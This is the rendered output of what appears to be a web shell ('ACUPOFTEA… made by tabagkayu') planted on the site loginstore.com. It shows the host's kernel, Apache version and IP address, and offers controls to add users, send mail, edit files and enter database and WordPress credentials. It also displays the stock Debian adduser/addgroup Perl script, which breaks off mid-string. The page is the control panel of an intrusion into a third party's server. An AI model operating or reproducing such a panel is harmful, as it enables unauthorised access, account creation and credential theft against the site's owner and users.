System
:
Linux loginstore 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
Software
:
Apache/2.4.52 (Ubuntu)
Server
:
190.119.170.206
Domains
:
Cant read /etc/named.conf
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
sbin
/
10.10.0.71
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for www.loginstore.com made by tabagkayu.
Folder Name
File Name
File Content
File
addgroup
#!/usr/bin/perl # adduser: a utility to add users to the system # addgroup: a utility to add groups to the system # Copyright (C) 1997, 1998, 1999 Guy Maor <maor@debian.org> # Copyright (C) 1995 Ted Hajek <tedhajek@boombox.micro.umn.edu> # Ian A. Murdock <imurdock@gnu.ai.mit.edu> # Bugfixes and other improvements Roland Bauerschmidt <rb@debian.org> # General scheme of the program adapted by the original debian 'adduser' # program by Ian A. Murdock <imurdock@gnu.ai.mit.edu>. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # #################### # See the usage subroutine for explanation about how the program can be called #################### use warnings; use strict; use Debian::AdduserCommon; use Getopt::Long; my $version = "3.118ubuntu5"; ################### # return values use constant RET_OK => 0; # OK use constant RET_OBJECT_ALREADY_EXISTS => 1; # the user or group does already exist, so the requested action cannot be performed use constant RET_INVALID_CHARS_IN_NAME => 1; # the provided name contains invalid characters use constant RET_ADDUSER_ABORTED => 1; # the program was aborted (eg via Ctrl+C) use constant RET_INVALID_CALL => 1; # getopt returned with "false" BEGIN { local $ENV{PERL_DL_NONLAZY}=1; eval 'use Locale::gettext'; if ($@) { *gettext = sub { shift }; *textdomain = sub { "" }; *LC_MESSAGES = sub { 5 }; } eval { require POSIX; import POSIX qw(setlocale); }; if ($@) { *setlocale = sub { return 1 }; } eval { require I18N::Langinfo; import I18N::Langinfo qw(langinfo YESEXPR NOEXPR); }; if ($@) { *langinfo = sub { return shift; }; *YESEXPR = sub { "^[yY]" }; *NOEXPR = sub { "^[nN]" }; } } setlocale(LC_MESSAGES, ""); textdomain("adduser"); my $yesexpr = langinfo(YESEXPR()); my %config; # configuration hash my @defaults = ("/etc/adduser.conf"); my $nogroup_id = getgrnam("nogroup") || 65534; $0 =~ s+.*/++; our $verbose = 1; # should we be verbose? my $allow_badname = 0; # should we allow bad names? my $ask_passwd = 1; # ask for a passwd? my $disabled_login = 0; # leave the new account disabled? our $configfile = undef; our $found_group_opt = undef; our $found_sys_opt = undef; our $ingroup_name = undef; our $new_firstuid = undef; our $new_gecos = undef; our $new_gid = undef; our $new_lastuid = undef; our $new_uid = undef; our $no_create_home = undef; our $special_home = undef; our $special_shell = undef; our $add_extra_groups = 0; our $use_extrausers = 0; our $encrypt_home = undef; # Global variables we need later my $existing_user = undef; my $existing_group = undef; my $new_name = undef; my $make_group_also = 0; my $home_dir = undef; my $undohome = undef; my $undouser = undef; my $undogroup = undef; my $shell = undef; my $first_uid = undef; my $last_uid = undef; my $dir_mode = undef; my $perm = undef; our @names; # Parse options, sanity checks unless ( GetOptions ("quiet|q" => sub { $verbose = 0 }, "force-badname" => \$allow_badname, "help|h" => sub { &usage(); exit RET_OK }, "version|v" => sub { &version(); exit RET_OK }, "system" => \$found_sys_opt, "group" => \$found_group_opt, "ingroup=s" => \$ingroup_name, "home=s" => \$special_home, "gecos=s" => \$new_gecos, "shell=s" => \$special_shell, "disabled-password" => sub { $ask_passwd = 0 }, "disabled-login" => sub { $disabled_login = 1; $ask_passwd = 0 }, "uid=i" => \$new_uid, "firstuid=i" => \$new_firstuid, "lastuid=i" => \$new_lastuid, "gid=i" => \$new_gid, "conf=s" => \$configfile, "no-create-home" => \$no_create_home, "encrypt-home" => \$encrypt_home, "add_extra_groups" => \$add_extra_groups, "extrausers" => \$use_extrausers, "debug" => sub { $verbose = 2 } ) ) { &usage(); exit RET_INVALID_CALL; } # everyone can issue "--help" and "--version", but only root can go on dief (gtx("Only root may add a user or group to the system.\n")) if ($> != 0); if( defined($configfile) ) { @defaults = ($configfile); } # detect the right mode my $action = $0 eq "addgroup" ? "addgroup" : "adduser"; if (defined($found_sys_opt)) { $action = "addsysuser" if ($action eq "adduser"); $action = "addsysgroup" if ($action eq "addgroup"); } # explicitly set PATH, because super (1) cleans up the path and makes adduser unusable; # this is also a good idea for sudo (which doesn't clean up) $ENV{"PATH"}="/bin:/usr/bin:/sbin:/usr/sbin"; $ENV{"IFS"}=" \t\n"; ############################ # checks related to @names # ############################ while (defined(my $arg = shift(@ARGV))) { push (@names, $arg); } if ( (! defined $names[0]) || length($names[0]) == 0 || @names > 2) { dief (gtx("Only one or two names allowed.\n")); } if (@names == 2) { # must be addusertogroup dief (gtx("Specify only one name in this mode.\n")) if ($action eq "addsysuser" || $found_group_opt); $action = "addusertogroup"; $existing_user = shift (@names); $existing_group = shift (@names); } else { # 1 parameter, must be adduser $new_name = shift (@names); } ################################### # check for consistent parameters # ################################### if ($action ne "addgroup" && defined($found_group_opt) +defined($ingroup_name) +defined($new_gid) > 1 ) { dief (gtx("The --group, --ingroup, and --gid options are mutually exclusive.\n")); } if ((defined($special_home)) && ($special_home !~ m+^/+ )) { dief (gtx("The home dir must be an absolute path.\n")); } if (defined($special_home) && $verbose) { printf gtx("Warning: The home dir %s you specified already exists.\n"),$special_home if (!defined($no_create_home) && -d $special_home); printf gtx("Warning: The home dir %s you specified can't be accessed: %s\n"), $special_home, $! if (defined($no_create_home) && ! -d $special_home); } if ($found_group_opt) { if ($action eq "addsysuser") { $make_group_also = 1; } elsif ($found_sys_opt) { $action = "addsysgroup"; } else { $action = "addgroup"; } } my $ecryptfs_setup_private; if (defined($encrypt_home)) { $ecryptfs_setup_private = &which('ecryptfs-setup-private'); } $ENV{"VERBOSE"} = $verbose; $ENV{"DEBUG"} = $verbose; # preseed configuration data and then read the config file preseed_config(\@defaults,\%config); &checkname($new_name, $found_sys_opt) if defined $new_name; $SIG{'INT'} = $SIG{'QUIT'} = $SIG{'HUP'} = 'handler'; ##### # OK, we've processed the arguments. $action equals one of the following, # and the appropriate variables have been set: # # $action = "adduser" # $new_name - the name of the new user. # $ingroup_name | $new_gid - the group to add the user to # $special_home, $new_uid, $new_gecos - optional overrides # $action = "addgroup" # $new_name - the name of the new group # $new_gid - optional override # $action = "addsysgroup" # $new_name - the name of the new group # $new_gid - optional override # $action = "addsysuser" # $new_name - the name of the new user # $make_group_also | $ingroup_name | $new_gid | 0 - which group # $special_home, $new_uid, $new_gecos - optional overrides # $action = "addusertogroup" # $existing_user - the user to be added # $existing_group - the group to add her to ##### ################# ## addsysgroup ## ################# if ($action eq "addsysgroup") { # Check if requested group already exists and we can exit safely my $ret = existing_group_ok($new_name, $new_gid); if ($ret == 3) { print STDERR "$0: " if $verbose; printf STDERR (gtx("The group `%s' already exists as a system group. Exiting.\n"), $new_name) if $verbose; exit RET_OK; } if ($ret == 1) { print STDERR "$0: " if $verbose; printf STDERR (gtx("The group `%s' already exists and is not a system group. Exiting.\n"), $new_name); exit RET_OBJECT_ALREADY_EXISTS; } if ($ret == 2) { print STDERR "$0: " if $verbose; printf STDERR (gtx("The group `%s' already exists, but has a different GID. Exiting.\n"), $new_name); exit RET_OBJECT_ALREADY_EXISTS; } dief (gtx("The GID `%s' is already in use.\n"),$new_gid) if (defined($new_gid) && defined(getgrgid($new_gid))); if (!defined($new_gid)) { $new_gid = &first_avail_gid($config{"first_system_gid"}, $config{"last_system_gid"}); if ($new_gid == -1) { print STDERR "$0: "; printf STDERR gtx("No GID is available in the range %d-%d (FIRST_SYS_GID - LAST_SYS_GID).\n"),$config{"first_system_gid"},$config{"last_system_gid"}; dief (gtx("The group `%s' was not created.\n"),$new_name); } } printf (gtx("Adding group `%s' (GID %d) ...\n"),$new_name,$new_gid) if $verbose; &invalidate_nscd("group"); my $groupadd = &which('groupadd'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($groupadd, '--extrausers', '-g', $new_gid, $new_name); } else { &systemcall($groupadd, '-g', $new_gid, $new_name); } &invalidate_nscd("group"); print (gtx("Done.\n")) if $verbose; exit RET_OK; } ############## ## addgroup ## ############## if ($action eq "addgroup") { dief (gtx("The group `%s' already exists.\n"),$new_name) if (defined getgrnam($new_name)); dief (gtx("The GID `%s' is already in use.\n"),$new_gid) if (defined($new_gid) && defined(getgrgid($new_gid))); if (!defined($new_gid)) { $new_gid = &first_avail_gid($config{"first_gid"}, $config{"last_gid"}); if ($new_gid == -1) { print STDERR "$0: "; printf STDERR gtx("No GID is available in the range %d-%d (FIRST_GID - LAST_GID).\n"),$config{"first_gid"},$config{"last_gid"}; dief (gtx("The group `%s' was not created.\n"),$new_name); } } printf (gtx("Adding group `%s' (GID %d) ...\n"),$new_name,$new_gid) if $verbose; &invalidate_nscd("group"); my $groupadd = &which('groupadd'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($groupadd, '--extrausers', '-g', $new_gid, $new_name); } else { &systemcall($groupadd, '-g', $new_gid, $new_name); } &invalidate_nscd("group"); print (gtx("Done.\n")) if $verbose; exit RET_OK; } #################### ## addusertogroup ## #################### if ($action eq "addusertogroup") { dief (gtx("The user `%s' does not exist.\n"),$existing_user) if (!defined getpwnam($existing_user)); dief (gtx("The group `%s' does not exist.\n"),$existing_group) if (!defined getgrnam($existing_group)); if (&user_is_member($existing_user, $existing_group)) { printf gtx("The user `%s' is already a member of `%s'.\n"), $existing_user,$existing_group if $verbose; exit RET_OK; # not really an error } printf gtx("Adding user `%s' to group `%s' ...\n"),$existing_user,$existing_group if $verbose; &invalidate_nscd(); my $gpasswd = &which('gpasswd'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($gpasswd, '--extrausers', '-a',$existing_user,$existing_group); } else { &systemcall($gpasswd, '-a',$existing_user,$existing_group); } &invalidate_nscd(); print (gtx("Done.\n")) if $verbose; exit RET_OK; } ################ ## addsysuser ## ################ if ($action eq "addsysuser") { if (existing_user_ok($new_name, $new_uid) == 1) { # a user with this name already exists; it's a problem when it's not a system user my $tmp_u = getpwnam($new_name); if (($tmp_u >= $config{"first_system_uid"}) and ($tmp_u <= $config{"last_system_uid"})) { printf (gtx("The system user `%s' already exists. Exiting.\n"), $new_name) if $verbose; exit RET_OK } warnf (gtx("The user `%s' already exists, but is not a system user. Exiting.\n"), $new_name); exit RET_OBJECT_ALREADY_EXISTS; } if (existing_user_ok($new_name, $new_uid) == 2) { warnf (gtx("The user `%s' already exists with a different UID. Exiting.\n"), $new_name); exit RET_OBJECT_ALREADY_EXISTS; } if (!$ingroup_name && !defined($new_gid) && !$make_group_also) { $new_gid = $nogroup_id; } check_user_group(1); if (!defined($new_uid) && $make_group_also) { $new_uid = &first_avail_uid($config{"first_system_uid"}, $config{"last_system_uid"}); if ($new_uid == -1) { print STDERR "$0: "; printf STDERR gtx("No UID/GID pair is available in the range %d-%d (FIRST_SYS_UID - LAST_SYS_UID).\n"),$config{"first_system_uid"},$config{"last_system_uid"}; dief (gtx("The user `%s' was not created.\n"),$new_name); } $new_gid = &first_avail_gid($config{"first_system_gid"}, $config{"last_system_gid"}); $ingroup_name = $new_name; } elsif (!defined($new_uid) && !$make_group_also) { $new_uid = &first_avail_uid($config{"first_system_uid"}, $config{"last_system_uid"}); if ($new_uid == -1) { print STDERR "$0: "; printf STDERR gtx("No UID is available in the range %d-%d (FIRST_SYS_UID - LAST_SYS_UID).\n"),$config{"first_system_uid"},$config{"last_system_uid"}; dief (gtx("The user `%s' was not created.\n"),$new_name); } if (defined($new_gid)) { $ingroup_name = getgrgid($new_gid); } elsif ($ingroup_name) { $new_gid = getgrnam($ingroup_name); } else { dief (gtx("Internal error")); } } else { if (defined($new_gid)) { $ingroup_name = getgrgid($new_gid); } elsif ($ingroup_name) { $new_gid = getgrnam($ingroup_name); } elsif ($make_group_also){ $new_gid=$new_uid; $ingroup_name=$new_name; } else { dief (gtx("Internal error")); } } printf (gtx("Adding system user `%s' (UID %d) ...\n"),$new_name,$new_uid) if $verbose; &invalidate_nscd(); # if we reach this point, and the group does already exist, we can use it. if ($make_group_also && !getgrnam($new_name)) { printf (gtx("Adding new group `%s' (GID %d) ...\n"),$new_name,$new_gid) if $verbose; $undogroup = $new_name; my $groupadd = &which('groupadd'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($groupadd, '--extrausers', '-g', $new_gid, $new_name); } else { &systemcall($groupadd, '-g', $new_gid, $new_name); } &invalidate_nscd("group"); } printf gtx("Adding new user `%s' (UID %d) with group `%s' ...\n"),$new_name,$new_uid,$ingroup_name if $verbose; $home_dir = $special_home || &homedir($new_name, $ingroup_name); $shell = $special_shell || '/usr/sbin/nologin'; $undouser = $new_name; my $useradd = &which('useradd'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($useradd, '--extrausers', '-d', $home_dir, '-g', $ingroup_name, '-s', $shell, '-u', $new_uid, $new_name); } else { &systemcall($useradd, '-d', $home_dir, '-g', $ingroup_name, '-s', $shell, '-u', $new_uid, $new_name); } if(!$disabled_login) { my $usermod = &which('usermod'); &systemcall($usermod, '-p', '*', $new_name); } my $chage = &which('chage'); print "$chage -M 99999 $new_name\n" if ($verbose > 1); # do _not_ use systemcall() here, since systemcall() dies on # non-zero exit code and we need to do special handling here! if (system($chage, '-M', '99999', $new_name)) { if( ($?>>8) ne 15 ) { &cleanup(sprintf((gtx("`%s' returned error code %d. Exiting.\n")), "$chage -M 99999 $new_name", $?>>8)) if ($?>>8); &cleanup(sprintf((gtx("`%s' exited from signal %d. Exiting.\n")), "$chage -M 99999 $new_name", $?&255)); } else { printf STDERR (gtx("%s failed with return code 15, shadow not enabled, password aging cannot be set. Continuing.\n"), $chage); } } &invalidate_nscd(); if(defined($new_gecos)) { &ch_gecos($new_gecos); } create_homedir (0); exit RET_OK; } ############# ## adduser ## ############# if ($action eq "adduser") { if (!$ingroup_name && !defined($new_gid)) { if ($config{"usergroups"} =~ /yes/i) { $make_group_also = 1; } else { $new_gid = $config{"users_gid"}; } } check_user_group(0); $first_uid = $new_firstuid || $config{"first_uid"}; $last_uid = $new_lastuid || $config{"last_uid"}; printf (gtx("Adding user `%s' ...\n"),$new_name) if $verbose; if (!defined($new_uid) && $make_group_also) { $new_uid = &first_avail_uid($first_uid, $last_uid); if ($new_uid == -1) { print STDERR "$0: "; printf STDERR gtx("No UID/GID pair is available in the range %d-%d (FIRST_UID - LAST_UID).\n"),$first_uid,$last_uid; dief (gtx("The user `%s' was not created.\n"),$new_name); } $new_gid = &first_avail_gid($config{"first_gid"}, $config{"last_gid"}); $ingroup_name = $new_name; } elsif (!defined($new_uid) && !$make_group_also) { $new_uid = &first_avail_uid($first_uid, $last_uid); if ($new_uid == -1) { print STDERR "$0: "; printf STDERR gtx("No UID is available in the range %d-%d (FIRST_UID - LAST_UID).\n"),$config{"first_uid"},$config{"last_uid"}; dief (gtx("The user `%s' was not created.\n"),$new_name); } if (defined($new_gid)) { $ingroup_name = getgrgid($new_gid); } elsif ($ingroup_name) { $new_gid = getgrnam($ingroup_name); } else { dief (gtx("Internal error")); } } else { if (defined($new_gid)) { $ingroup_name = getgrgid($new_gid); } elsif ($ingroup_name) { $new_gid = getgrnam($ingroup_name); } elsif ($make_group_also){ $new_gid=$new_uid; $ingroup_name=$new_name; } else { dief (gtx("Internal error")); } } &invalidate_nscd(); if ($make_group_also) { printf (gtx("Adding new group `%s' (%d) ...\n"),$new_name,$new_gid) if $verbose; $undogroup = $new_name; my $groupadd = &which('groupadd'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($groupadd, '--extrausers', '-g', $new_gid, $new_name); } else { &systemcall($groupadd, '-g', $new_gid, $new_name); } &invalidate_nscd(); } printf gtx("Adding new user `%s' (%d) with group `%s' ...\n"),$new_name,$new_uid,$ingroup_name if $verbose; $home_dir = $special_home || &homedir($new_name, $ingroup_name); $shell = $special_shell || $config{"dshell"}; $undouser = $new_name; my $useradd = &which('useradd'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($useradd, '--extrausers', '-d', $home_dir, '-g', $ingroup_name, '-s', $shell, '-u', $new_uid, $new_name); } else { &systemcall($useradd, '-d', $home_dir, '-g', $ingroup_name, '-s', $shell, '-u', $new_uid, $new_name); } &invalidate_nscd(); create_homedir (1); # copy skeleton data # useradd without -p has left the account disabled (password string is '!') my $yesexpr = langinfo(YESEXPR()); if ($ask_passwd) { for (;;) { my $passwd = &which('passwd'); # do _not_ use systemcall() here, since systemcall() dies on # non-zero exit code and we need to do special handling here! system($passwd, $new_name); my $ok = $?>>8; if ($ok != 0) { my $answer; # hm, error, should we break now? print (gtx("Permission denied\n")) if ($ok == 1); print (gtx("invalid combination of options\n")) if ($ok == 2); print (gtx("unexpected failure, nothing done\n")) if ($ok == 3); print (gtx("unexpected failure, passwd file missing\n")) if ($ok == 4); print (gtx("passwd file busy, try again\n")) if ($ok == 5); print (gtx("invalid argument to option\n")) if ($ok == 6); # Translators: [y/N] has to be replaced by values defined in your # locale. You can see by running "locale noexpr" which regular # expression will be checked to find positive answer. print (gtx("Try again? [y/N] ")); chop ($answer=<STDIN>); last if ($answer !~ m/$yesexpr/o); } else { last; ## passwd ok } } } else { if(!$disabled_login) { my $usermod = &which('usermod'); &systemcall($usermod, '-p', '*', $new_name); } } if (defined($new_gecos)) { &ch_gecos($new_gecos); } else { my $noexpr = langinfo(NOEXPR()); for (;;) { my $chfn = &which('chfn'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($chfn, '--extrausers', $new_name); } else { &systemcall($chfn, $new_name); } # Translators: [y/N] has to be replaced by values defined in your # locale. You can see by running "locale yesexpr" which regular # expression will be checked to find positive answer. print (gtx("Is the information correct? [Y/n] ")); chop (my $answer=<STDIN>); last if ($answer !~ m/$noexpr/o); } } if ( ( $add_extra_groups || $config{"add_extra_groups"} ) && defined($config{"extra_groups"}) ) { printf (gtx("Adding new user `%s' to extra groups ...\n"), $new_name); foreach my $newgrp ( split ' ', $config{"extra_groups"} ) { if (!defined getgrnam($newgrp)) { warnf (gtx("The group `%s' does not exist.\n"),$newgrp); next; } if (&user_is_member($new_name, $newgrp)) { printf gtx("The user `%s' is already a member of `%s'.\n"), $new_name,$newgrp if $verbose; next; } printf gtx("Adding user `%s' to group `%s' ...\n"),$new_name,$newgrp if $verbose; &invalidate_nscd(); my $gpasswd = &which('gpasswd'); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($gpasswd, '--extrausers', '-M', join(',', get_group_members($newgrp), $new_name), $newgrp); } else { &systemcall($gpasswd, '-M', join(',', get_group_members($newgrp), $new_name), $newgrp); } &invalidate_nscd(); } } if ($config{"quotauser"}) { printf (gtx("Setting quota for user `%s' to values of user `%s' ...\n"), $new_name, $config{quotauser}); my $edquota = &which('edquota'); &systemcall($edquota, '-p', $config{quotauser}, $new_name); } &systemcall('/usr/local/sbin/adduser.local', $new_name, $new_uid, $new_gid, $home_dir) if (-x "/usr/local/sbin/adduser.local"); exit RET_OK; } # # we never go here # # calculate home directory sub homedir { my $dir = $config{"dhome"}; $dir .= '/' . $_[1] if ($config{"grouphomes"} =~ /yes/i); $dir .= '/' . substr($_[0],0,1) if ($config{"letterhomes"} =~ /yes/i); $dir .= '/' . $_[0]; return $dir; } # create_homedir -- create the homedirectory # parameter # 1: $copy_skeleton: # if 0 -> don't copy the skeleton data # if 1 -> copy the files in /etc/skel to the newly created home directory # return values: # none sub create_homedir { my ($copy_skeleton) = @_; if ($no_create_home) { printf gtx("Not creating home directory `%s'.\n"), $home_dir if $verbose; } elsif (-e $home_dir) { printf gtx("The home directory `%s' already exists. Not copying from `%s'.\n"), $home_dir,$config{skel} if $verbose && !$no_create_home; my @homedir_stat = stat($home_dir); my $home_uid = $homedir_stat[4]; my $home_gid = $homedir_stat[5]; if (($home_uid != $new_uid) || ($home_gid != $new_gid)) { warnf gtx("Warning: The home directory `%s' does not belong to the user you are currently creating.\n"), $home_dir; } undef @homedir_stat; undef $home_uid; undef $home_gid; } else { printf gtx("Creating home directory `%s' ...\n"),$home_dir if $verbose; $undohome = $home_dir; &mktree($home_dir) || &cleanup(sprintf(gtx("Couldn't create home directory `%s': %s.\n"), $home_dir, $!)); chown($new_uid, $new_gid, $home_dir) || &cleanup("chown $new_uid:$new_gid $home_dir: $!\n"); $dir_mode = get_dir_mode($make_group_also); chmod ($dir_mode, $home_dir) || &cleanup("chmod $dir_mode $home_dir: $!\n"); if ($action eq "adduser") { # Mute the command system('sh' => ( '-c' => '"$@" >/dev/null 2>&1', '--', '/usr/sbin/zsysctl', 'userdata', 'create', $new_name, $home_dir,)); chown($new_uid, $new_gid, $home_dir) || &cleanup("chown $new_uid:$new_gid $home_dir: $!\n"); $dir_mode = get_dir_mode($make_group_also); chmod ($dir_mode, $home_dir) || &cleanup("chmod $dir_mode $home_dir: $!\n"); } if (defined($encrypt_home)) { printf gtx("Setting up encryption ...\n") if $verbose; &systemcall($ecryptfs_setup_private, '-b', '-u', $new_name); } if ($config{"skel"} && $copy_skeleton) { printf gtx("Copying files from `%s' ...\n"),$config{skel} if $verbose; open(my $FIND, "cd $config{skel}; find . -print |") || &cleanup(sprintf(gtx("fork for `find' failed: %s\n"), $!)); while (<$FIND>) { chop; next if ($_ eq "."); next if ($_ =~ qr/$config{skel_ignore_regex}/ ); ©_to_dir($config{"skel"}, $_, $home_dir, $new_uid, $new_gid, ($config{"setgid_home"} =~ /yes/i)); } } if (defined($encrypt_home)) { &systemcall("/bin/umount", $home_dir); } } } # mktree: create a directory and all parent directories, we don't care about the rights and so on # parameters: # tree: the path # return values: # none sub mktree { my($tree) = @_; my($done, @path); my $default_dir_mode = 0755; $tree =~ s:^/*(.*)/*$:$1:; # chop off leading & trailing slashes @path = split(/\//, $tree); $done = ""; while (@path) { $done .= '/' . shift(@path); -d $done || mkdir($done, $default_dir_mode) || return 0; } return 1; } # existing_user_ok: check if there's already a user present on the system which satisfies the requirements # parameter: # new_name: the name of the user to check # new_uid : the UID of the user # return values: # 0 if the the user doesn't exist # 1 if the user already exists with the specified uid (or $new_uid wasn't specified) # 2 if the user already exists, but $new_uid doesn't matches its uid sub existing_user_ok { my($new_name,$new_uid) = @_; my ($dummy1,$dummy2,$uid); if (($dummy1,$dummy2,$uid) = getpwnam($new_name)) { if( defined($new_uid) && $uid == $new_uid ) { return 1; } if (! defined($new_uid)) { return 1; } # TODO: do we really need this code? Range check shouldn't performed here if( $uid >= $config{"first_system_uid"} && $uid <= $config{"last_system_uid" } ) { return 2; } } else { return 0; } } # existing_group_ok: check if there's already a group which satiesfies the requirements # parameter: # new_name: the name of the group # new_gid : the UID of the group # return values: # 0 if the group doesn't exist # 1 if the group already exists with the specified gid (or $new_gid wasn't specified) # 2 if the group already exists, but $new_gid doesn't match its gid # 3 if the group already exists inside the system range sub existing_group_ok { my($new_name,$new_gid) = @_; my ($dummy1,$dummy2,$gid); if (($dummy1,$dummy2,$gid) = getgrnam($new_name)) { # TODO: is this check required? There shouldn't be any gid outside of our allowed range anyways ... if( $gid >= $config{"first_system_gid"} && $gid <= $config{"last_system_gid" } ) { return 3; } if (! defined($new_gid)) { return 1; } if ($gid == $new_gid) { return 1; } else { return 2; } } else { return 0; } } # check_user_group: ??? # parameters: # system: 0 if the user isn't a system user, 1 otherwise # return values: # sub check_user_group { my ($system) = @_; if( !$system || !existing_user_ok($new_name, $new_uid) ) { if( defined getpwnam($new_name) ) { if( $system ) { dief (gtx("The user `%s' already exists, and is not a system user.\n"),$new_name); } else { dief (gtx("The user `%s' already exists.\n"),$new_name); } } dief (gtx("The UID %d is already in use.\n"),$new_uid) if (defined($new_uid) && getpwuid($new_uid)); } if ($make_group_also) { if( !$system || !existing_group_ok($new_name, $new_uid) ) { dief (gtx("The group `%s' already exists.\n"),$new_name) if (defined getgrnam($new_name)); dief (gtx("The GID %d is already in use.\n"),$new_uid) if (defined($new_uid) && defined(getgrgid($new_uid))); } } else { dief (gtx("The group `%s' does not exist.\n"),$ingroup_name) if ($ingroup_name && !defined(getgrnam($ingroup_name))); dief (gtx("The GID %d does not exist.\n"),$new_gid) if (defined($new_gid) && !defined(getgrgid($new_gid))); } } # copy_to_dir : # parameters: # fromdir # file # todir # newi # newg # sgiddir # return values: # none sub copy_to_dir { my($fromdir, $file, $todir, $newu, $newg, $sgiddir) = @_; if (-l "$fromdir/$file") { my $target=readlink("$fromdir/$file") or &cleanup("readlink: $!\n"); my $curgid="$)"; my $curuid="$>"; my $error=""; $)="$newg"; $>="$newu"; symlink("$target", "$todir/$file") or $error="$!"; $>="$curuid"; $)="$curgid"; if( "$error" ne "" ) { &cleanup("symlink: $!\n"); } return; } elsif (-f "$fromdir/$file") { open (FILE, "$fromdir/$file") || &cleanup("open $fromdir/$file: $!"); open (NEWFILE, ">$todir/$file") || &cleanup("open >$todir/$file: $!"); (print NEWFILE <FILE>) || &cleanup("print $todir/$file: $!"); close FILE; close(NEWFILE) || &cleanup("close $todir/$file "); } elsif (-d "$fromdir/$file") { mkdir("$todir/$file", 700) || &cleanup("mkdir: $!"); } else { &cleanup(sprintf((gtx("Cannot deal with %s.\nIt is not a dir, file, or symlink.\n")), "$fromdir/$file")); } chown($newu, $newg, "$todir/$file") || &cleanup("chown $newu:$newg $todir/$file: $!\n"); $perm = (stat("$fromdir/$file"))[2] & 07777; $perm |= 02000 if (-d "$fromdir/$file" && ($perm & 010) && $sgiddir); chmod($perm, "$todir/$file") || &cleanup("chmod $todir/$file: $!\n"); } # checkname: perform some sanity checks # parameters: # name: the name to check # system: 0 if the user isn't a system user, 1 otherwise # return values: # none (exits on error) sub checkname { my ($name, $system) = @_; if ($name !~ /^[_.A-Za-z0-9][-\@_.A-Za-z0-9]*\$?$/) { printf STDERR (gtx("%s: To avoid problems, the username should consist only of letters, digits, underscores, periods, at signs and dashes, and not start with a dash (as defined by IEEE Std 1003.1-2001). For compatibility with Samba machine accounts \$ is also supported at the end of the username\n"), $0); exit RET_INVALID_CHARS_IN_NAME;; } if ($system ? $name !~ qr/$config{"name_regex_system"}/ : $name !~ qr/$config{"name_regex"}/) { if ($allow_badname) { print (gtx("Allowing use of questionable username.\n")) if ($verbose); } else { printf STDERR (gtx("%s: Please enter a username matching the regular expression configured via the NAME_REGEX[_SYSTEM] configuration variable. Use the `--force-badname' option to relax this check or reconfigure NAME_REGEX.\n"), $0); exit RET_INVALID_CHARS_IN_NAME; } } } # first_avail_uid: return the first available uid in given range # parameters: # min, max: the range # return values: # -1 if no free uid is available # otherwise the choosen uid sub first_avail_uid { my ($min, $max) = @_; printf (gtx("Selecting UID from range %d to %d ...\n"),$min,$max) if ($verbose > 1); my $t = $min; while ($t <= $max) { return $t if (!defined(getpwuid($t))); $t++; } return -1; # nothing available } # first_avail_gid: return the first available gid in given range # parameters: # min, max: the range # return values: # -1 if no free gid is available # otherwise the choosen gid sub first_avail_gid { my ($min, $max) = @_; printf (gtx("Selecting GID from range %d to %d ...\n"),$min,$max) if ($verbose > 1); my $t = $min; while ($t <= $max) { return $t if (!defined(getgrgid($t))); $t++; } return -1; # nothing available } sub ch_gecos { my $chfn = &which('chfn'); my $gecos = shift; if($gecos =~ /,/) { my($gecos_name,$gecos_room,$gecos_work,$gecos_home,$gecos_other) = split(/,/,$gecos); if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($chfn, '--extrausers', '-f', $gecos_name, '-r', $gecos_room, $new_name); &systemcall($chfn,'--extrausers','-w',$gecos_work,$new_name) if(defined($gecos_work)); &systemcall($chfn,'--extrausers','-h',$gecos_home,$new_name) if(defined($gecos_home)); &systemcall($chfn,'--extrausers','-o',$gecos_other,$new_name) if(defined($gecos_other)); } else { &systemcall($chfn, '-f', $gecos_name, '-r', $gecos_room, $new_name); &systemcall($chfn,'-w',$gecos_work,$new_name) if(defined($gecos_work)); &systemcall($chfn,'-h',$gecos_home,$new_name) if(defined($gecos_home)); &systemcall($chfn,'-o',$gecos_other,$new_name) if(defined($gecos_other)); } } else { if ( ($use_extrausers) || ($config{"use_extrausers"}) ) { &systemcall($chfn, '--extrausers', '-f', $gecos, $new_name); } else { &systemcall($chfn, '-f', $gecos, $new_name); } } } # user is member of group? sub user_is_member { my($user, $group) = @_; for (split(/ /, (getgrnam($group))[3])) { return 1 if ($user eq $_); } return 0; } sub cleanup { my ($msg) = @_; printf (gtx("Stopped: %s\n"),$msg); if ($undohome) { printf (gtx("Removing directory `%s' ...\n"),$undohome); &systemcall('rm', '-rf', $undohome); } if ($undouser) { printf (gtx("Removing user `%s' ...\n"),$undouser); &systemcall('userdel', $undouser); } if ($undogroup) { printf (gtx("Removing group `%s' ...\n"),$undogroup); &systemcall('groupdel', $undogroup); } # do we need to invalidate the nscd cache here, too? exit RET_ADDUSER_ABORTED; } sub handler { my($sig) = @_; # Translators: the variable %s is INT, QUIT, or HUP. # Please do not insert a space character between SIG and %s. &cleanup(sprintf(gtx("Caught a SIG%s.\n"), $sig)); } sub version { printf (gtx("adduser version %s\n\n"), $version); print gtx("Adds a user or group to the system. Copyright (C) 1997, 1998, 1999 Guy Maor <maor\@debian.org> Copyright (C) 1995 Ian Murdock <imurdock\@gnu.ai.mit.edu>, Ted Hajek 